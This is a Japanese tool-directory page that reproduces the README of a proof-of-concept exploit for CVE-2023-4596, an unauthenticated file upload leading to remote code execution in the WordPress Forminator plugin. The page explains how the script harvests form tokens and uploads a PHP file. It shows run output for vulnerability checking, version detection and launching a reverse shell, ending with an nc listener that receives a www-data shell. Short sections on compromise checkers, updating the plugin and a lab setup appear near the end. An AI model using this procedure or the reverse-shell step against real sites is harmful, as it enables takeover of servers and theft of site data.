Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-4596 — CVE-2023-4596向けPoCスクリプト。任意のファイルアップロードによる認証なしのリモートコマンド実行。 | Kitploit
ツール/GitHubGitHub/e1a/cve-2023-4596
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHube1a/cve-2023-4596

CVE-2023-4596

CVE-2023-4596向けPoCスクリプト。任意のファイルアップロードによる認証なしのリモートコマンド実行。

リポジトリを見る
24581年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-4596

CVE-2023-4596 の PoC スクリプト。任意のファイルアップロードによる認証なしのリモートコマンド実行。

使用中のPoCの動画
Nuclei テンプレート
ニュース記事
WordFence
NVD Nist

概要

重要な脆弱性がWordPressプラグインForminatorで発見されました。これにより、認証されていない攻撃者がサーバーに任意のファイルをアップロードできるようになります。初期の実証コード(PoC)は不十分に書かれており、元の研究者は不明瞭なコードを含むリクエストとともに数枚の不明瞭なスクリーンショットを共有しました。そこで、プロセスを簡素化し自動化するためにPythonスクリプトを作成しました。

この脆弱性は、ファイルタイプの検証プロセスのエラーによって引き起こされます。PHPなどの禁止されたファイル形式をアップロードしようとすると、「アップロードされたファイルの拡張子は許可されていません」というアラートが生成されます。この通知にもかかわらず、アップロードされたファイルはブロックされず、正常にアップロードされ、サイトの「/wp-content/uploads」フォルダ内にアクセスできます。この脆弱性により、リモートコード実行が可能になります。

Forminatorは現在40万以上のサイトでアクティブであり、脆弱性の単純さから、ファイルアップロードが有効になっているForminatorを実行しているサイトを制御するのは非常に簡単です。

使い方

アップロード機能のあるForminator <= 1.24.6を実行しているページを見つけてください。Forminatorを使用してファイルアップロードのpostdataを実行しているページの完全なURLをコピーしてください。ドメインのみを指定するとエラーが発生します。 interactsh または Burp Collaborator を使用してリンクを生成し、選択したフィールドに貼り付けることができます。アップロードが成功すると、5秒以内にinteractshまたはburpにリクエストが表示され、脆弱であることが示されます。


脆弱性の確認(被害を与えずに)

user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7

______                   _             _              ______  _____  _____
|@E1A |                 (_)           | |             | ___ \/  __ \|  ___|
| |_ ___  _ __ _ __ ___  _ _ __   __ _| |_ ___  _ __  | |_/ /| /  \/| |__
|  _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| |    / | |    |  __|
| || (_) | |  | | | | | | | | | | (_| | || (_) | |    | |\ \ | \__/\| |___
\_| \___/|_|  |_| |_| |_|_|_| |_|\__,_|\__\___/|_|    \_| \_| \____/\____/


Input out-of-band link: <input link>

[+] Sending payload to target
[+] Successful file upload!

Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/RefhnSzyQe.php

[+] Sending request to uploaded file...
[+] Successfully triggered the uploaded file!
[+] Check for an incoming request

バージョンを抽出して脆弱性を確認

user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -v

______                   _             _              ______  _____  _____
|@E1A |                 (_)           | |             | ___ \/  __ \|  ___|
| |_ ___  _ __ _ __ ___  _ _ __   __ _| |_ ___  _ __  | |_/ /| /  \/| |__
|  _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| |    / | |    |  __|
| || (_) | |  | | | | | | | | | | (_| | || (_) | |    | |\ \ | \__/\| |___
\_| \___/|_|  |_| |_| |_|_|_| |_|\__,_|\__\___/|_|    \_| \_| \____/\____/


[+] Vulnerable version found: 1.24.6

インスタンスでリバースシェルを起動

user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -r

______                   _             _              ______  _____  _____
|@E1A |                 (_)           | |             | ___ \/  __ \|  ___|
| |_ ___  _ __ _ __ ___  _ _ __   __ _| |_ ___  _ __  | |_/ /| /  \/| |__
|  _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| |    / | |    |  __|
| || (_) | |  | | | | | | | | | | (_| | || (_) | |    | |\ \ | \__/\| |___
\_| \___/|_|  |_| |_| |_|_|_| |_|\__,_|\__\___/|_|    \_| \_| \____/\____/


Enter IP address: <input IP>
Enter port: <input port>

[+] Sending payload to target
[+] Successful file upload!

Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/IXLTyDMTEg.php

[+] Sending request to uploaded file...
[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell



user@debian:~$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 127.0.0.1 52760
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

スクリプトの仕組み

スクリプトに必要なのは、Forminatorでファイルアップロードが有効になっているページの完全なURLと、脆弱性を確認するためのinteractshリンクのみです。最初のリクエストはページに送信され、ページごとに異なる値であるforminator_nonceとform_idを抽出します。これらの値を取得した後、抽出された値を使用して2番目のリクエストが送信され、PHPファイルがアップロードされます。このPHPファイルは、以前にユーザーが指定したinteractshリンクを使用し、それをスクリプトに追加します。PHPスクリプトが配置されているページにアクセスすると、interactshにリクエストが表示され、サイトが脆弱であることが示されます。 正規表現はURLを後でリクエストで使用する部分に分割するために使用され、-v引数を使用したときに表示されるForminatorのバージョンを特定するためにも使用されます。ファイルのアップロード先は、ファイルをアップロードした年と月によって異なります。そのため、datetimeを使用して現在の月と年を特定し、後でアップロードされたファイルの場所にリクエストを送信するために使用しています。 脆弱性をテストしているときは単一のファイル名を使用していましたが、複数のファイルを送信した後、最初にアップロードされたファイルだけが実行されることに気付きました。これを修正するために、リクエストごとにランダムな文字列を使用しています。

既知のエラー

[-] forminator_nonceを抽出できませんでした
このエクスプロイトは、Forminatorでファイルアップロードが有効になっているページの正確なリンクが指定された場合にのみ機能します。ドメインのみ、またはファイルアップロードが実行されていないページのリンクが指定された場合、エラーが発生します。これは、指定されたURLからforminator_nonceを抽出するためであり、そのページがForminatorまたはForminatorのファイルアップロードを実行していない場合、値を見つけることができず使用できません。サイトのソースコードで「forminator-field-post-image-postdata」という文字列を探すことでも確認できます。完全なリンクの例は次のようになります: http://127.0.0.1:8000/?p=7。問題の詳細はこちらで確認できます。

侵害されているかどうかを確認する方法

リポジトリには2つのファイル(checker.shとchecker.bat)が含まれており、現在のフォルダとサブフォルダ内でブロックされた拡張子を持つファイルをチェックします。見つかった場合は表示されます。このスクリプトの理由は、プラグインがインストールされている月ごとに新しいフォルダが作成されるため、手動ですべてをチェックするのは大変な作業になる可能性があるからです。

緩和策

最新バージョンに更新してください。

インストール

  1. cd CVE-2023-4596/ && docker-compose up -d
  2. ブラウザで http://127.0.0.1:8000 にアクセス
  3. WPアカウントを設定し、こちらから脆弱なプラグインをダウンロード
  4. postdataまたはファイルアップロードを含むフォームを作成し、投稿に公開
  5. 完全なURLをコマンドに貼り付けて実行
  6. お楽しみください ( /・・)ノ

免責事項

提供されるスクリプトは教育目的のみであり、あなたの行動について私は責任を負いません。


Twitter
作成者: Finn van der Knaap

ツールをダウンロード